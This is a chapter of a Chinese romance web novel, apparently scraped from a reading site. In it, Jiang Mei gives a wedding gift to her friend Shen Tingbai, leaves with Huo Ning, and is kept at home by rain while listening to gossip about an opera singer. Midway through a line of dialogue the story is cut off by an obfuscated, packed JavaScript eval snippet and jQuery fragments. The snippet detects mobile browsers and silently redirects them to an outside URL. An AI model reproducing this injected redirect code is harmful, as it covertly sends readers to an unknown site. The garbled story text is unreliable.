51. 戏闻

作品:《捡了个小郎君

    “福禄双全,和合美满,子孙昌盛。姑娘好眼光,这对葫芦香囊送与新婚夫妻是再合适不过了。”


    邵景钰笑着说道,姜妺抿唇一笑。


    “这套我要了。”


    ……


    大朵大朵的莲花一一高举出水面,岸边的柳树正绿,垂着柳条探着头望向湖中央。


    成片的荷叶高高盖过湖边小舟,为其挡下部分恼人的热气。幸而今日时有凉风吹过,暑气倒少了几分。


    “妺儿。”


    沈听白远远便看到骑马而来的少女,脸上不由露出笑意,待看到她身后紧随而来的少年,脸上的笑淡了几分。


    “你这是要离开京城?”


    上下打量了一番少女的装束,沈听白有些惊讶地问道。姜妺也没有隐瞒之意,点头解释道。


    “本是要今日启程,幸好有阿宁提醒,差点忘了如此重要之事。”


    少女笑着将怀里抱着的木箱递了过来,满是笑意的眼瞳明亮动人。


    “祝愿你与何三小姐幸福美满,白头到老。”


    沈听白将视线移开,垂眸盯着打开的木箱。精致的首饰工艺繁杂,成对的香囊寓意极好。


    “多谢,妺儿,好极了。”


    站在船头的霍宁瞥了眼不远处垂眸含笑的男子,总觉得这厮笑得有些假。


    “何三小姐才华横溢容貌出众,脾性也极好,沈伯父与伯母在天之灵,看你圆满,也得以慰藉了。”


    姜妺笑着说道,她与沈听白相识五载,对她来说已经占据了生命中极其重要的一部分。作为朋友,也是世妹,她衷心祝福沈听白未来的日子越来越好。


    福禄双全,无病无灾。


    少女的眼瞳依旧澄澈,让人一瞧,便能读懂她心中所想。


    沈听白点头一笑,“会的。”


    “对了,上次还是多亏了你给我服了解毒丹,否则,我这小命可就玩完咯。”


    沈听白眉头一皱,用扇子轻敲了敲少女额头。


    “瞎说什么?那算命先生可说了,姜姑娘定能长命无忧,你可少说那些个不吉利的话。”


    沈听白绷着脸认真道,世人最忌讳祸从口出,一语成谶并不少见。


    “沈哥哥教训的是,妺儿记下了,往后断不会胡言。”


    姜妺连连点头称是,二人对视了一眼,皆是一笑。这一笑,倒将这段时间以来他们二人之间奇怪的隔阂消除了。


    “对了,你们这是要去哪?回庄子吗?”


    姜妺摇头,“我们准备去浮屠山。”


    沈听白疑惑,“浮屠山?听闻浮屠山周围多有山匪,还是武林人士常去之处,武林争斗可不少,你到那里去做甚?”


    “我们是…”


    “听说浮屠山脚下生有一种奇异之花,花是红的,杆子却是绿的,花香奇异,用来制香可以将香味留在衣服上数日呢。”


    姜妺刚要回答,便被霍宁打断。少年笑嘻嘻地三两步走进船舱,一撩衣袍便坐在姜妺身旁。


    “家母生辰将近,妺儿是应我之邀,一同到浮屠山去寻此花的。”


    少年紧挨着姜妺坐下,随无肢体接触,却难掩亲昵。沈听白淡淡道了句是吗,便不再多问。


    “沈先生,怎么不见何三小姐?”


    霍宁好奇地张望,沈听白轻笑,解释道。


    “婚期将近,为讨个彩头,新人在成婚之前应当避免见面。”


    “原来如此。”


    霍宁恍然大悟地抚掌,看了看天色笑着道。


    “妺儿,这时辰也不早了,再不启程,怕是有雨呢。”


    天际不知何时布上了灰蒙蒙的一层,湖面上风越发地大了,带着些许凉意。


    “看这天色应当是要下雨,妺儿,不若明日再走?万一还未到下个城镇便落雨,难免会感染风寒。”


    沈听白忧心忡忡地提议道,霍宁却是笑着摆了摆手。


    “沈先生多虑,京城距离松城不过半日路程,骑快马也不过一个时辰便到了。且途中皆有驿站,若是真下雨了,也不必担心淋雨着凉。”


    沈听白还想说些什么,便见姜妺点头赞同道。


    “阿宁说得对,我们早些起程便能早些回来,说不定还能赶上你的婚期呢。小白,我们先走了。”


    沈听白站起身紧盯着越过湖面的身影,那揽着少女腰肢的手,着实碍眼。


    ……


    另一头,姜霍二人骑着马紧赶慢赶地回到公主府,刚见到霍云舒,倾盆大雨便倾泻而下。


    雷声风声伴随着嘈杂的雨声直响了小半个时辰,池塘被雨花搅得无法平静,水中的鱼儿正焦躁地四处游动。


    雨滴打落的花叶砸落在廊下墙边,池塘里的碗莲也被砸得东倒西歪。


    “这雨真是说下就下。”


    霍宁趴在栏杆上,双手撑着脑袋直盯着灰蒙蒙的天。


    “这都下了小半个时辰了,怎么还不见雨停呢?”


    “夏日的雨就是这样,再过一会儿就停了。”


    嬴莜婧瞥了眼窗口的少年,又扭头专注于话本。姜妺叹了口气,拉着少年的衣袖将人按在榻上。


    “你啊,还是耐心坐好吧。”


    “唉,可真是乌鸦嘴。”


    少年小声地嘟囔着,瘪了瘪嘴一口咬上手里的苹果。


    姜妺没有听清他在嘟囔什么,疑惑了看了眼不时扭头看向窗外的少年。


    如此又过了半个时辰,窗外的雨始终没有停的意思。姜妺无奈趴在手臂上,桌案边的嬷嬷已经开始传菜。


    “得了,瞧这架势今日这雨是停不了了,你们俩也别哭丧着脸了,过来吃饭。”


    霍云舒将锅子摆好,扭过头看到两个少年人丧气地趴在桌子上不由噗嗤一笑,招了招手示意他们过来。


    “宁哥哥!”


    霍宁刚起身,便听到了门外熟悉的声音。


    “霍诗晴?你来做什么?”


    听说她最近都在忙着布置祖父生辰所需的物什,怎么会忽然来公主府?


    “呐,这是祖父特地交代我给你带过来的。”


    霍诗晴笑吟吟地将带来的酒坛放在桌面,见一旁的少女好奇地直瞧,抚了抚衣裙坐在霍宁身旁。


    “姜姑娘没有见过这酒吧?这是祖父的朋友从北地带回来的秋月白,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770356|157670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    北地独有的呢,咱们中原少见此物。”


    姜妺笑着摇头,“我还真没见过,这酒闻着还有奶香?”


    霍诗晴点头一笑,一边解释着一边高声唤着丫鬟那些酒杯来。


    “听闻这酒是用羊奶封存的,酒虽不接触羊奶,喝起来却带有奶香呢!”


    “这倒真是少见。”


    嬴莜婧自霍非尘去世之后便喜欢上了饮酒,素来喝不惯烈酒,但天玑各地的甜酒也都尝了个遍,倒是没有喝过这北地的秋月白。


    “公主,您尝尝。”


    霍诗晴笑吟吟地为嬴莜婧斟满,随着酒液倾注,浓郁的奶香混着酒香越发地让人口舌生津。


    “不错!好酒!”


    嬴莜婧浅浅尝了一口便眼睛一亮,仰头将杯中酒一饮而尽。


    看她喜欢,霍诗晴脸上的笑意越发浓了,一边不停为嬴莜婧斟酒,一边欢喜地说着近日发生的趣事。


    “…对了对了,我听阿轩说,梨园里的陆老板被自己的徒弟给抢了台了。”


    “昨夜陆老板脸上的妆都画了一半,结果被徒弟给绑了,戏唱了一半陆老板跑上台直骂徒弟是白眼狼呢,闹得老大不好看了。”


    嬴莜婧一顿,嘴角笑意不减地问道。


    “陆老板?可是那位唱青衣的陆殊词?”


    “是啊,前两年他收了个徒弟,如今那身段、嗓子都不差他,陆老板到底年纪上去了,比不得小年轻讨喜。”


    霍诗晴如此说着,眼底却带着轻蔑。陆殊词其实也不过二十四五,模样身段都是一顶一的好,可架不住那有些人就喜欢年纪小的,要捧。


    霍云舒奇怪地咦了一声,“五皇子不是捧着那陆殊词吗?怎么有人敢在梨园里翘了他的台面?”


    霍诗晴耸了耸肩,“这我哪知道呀?我又不爱听戏,这梨园里的事也是阿轩提起我才知晓的。”


    说罢还扭头好奇地询问霍宁,“宁哥哥,你与五皇子关系好,你可知是怎么回事?”


    霍宁也是奇怪,嬴浔捧陆殊词已有三年,那时候陆殊词刚到梨园,上一个台柱子正红,要不是嬴浔捧他,此刻陆殊词还指不定能不能成角呢。


    前些日子还蜜里调油呢,怎么如今倒腻了?


    姜妺却想到了那夜的鬼戏,府上的丫鬟说,那折子大约是陆殊词送来的,而那帖子上也的确是陆殊词的名字。


    可哪有人使坏,还署上自己的名号的?


    “阿宁,莫不是因为那鬼戏的缘故?五皇子认定了陆老板与风雨楼的人是一伙的,这才弃了他?”


    霍宁摇头,“如果陆殊词真的是风雨楼的人,依照嬴浔的性子,只怕他此刻就不只是被人撬了台面那么简单的事了。”


    别看嬴浔平日里嘻嘻哈哈的没个正行,可若是触怒了他,同样是杀人不眨眼的主。


    别说是相好了数年的姘头,就是自小长大的朋友,只要是算计、背叛他的,不死也脱层皮。


    霍诗晴倒没有兴趣知道嬴浔与那戏子之间的事,见姜妺只是喝茶,不由问道。


    “姜姑娘,是不喜欢这酒吗?”


    “妺儿她身子不好,从不饮酒。”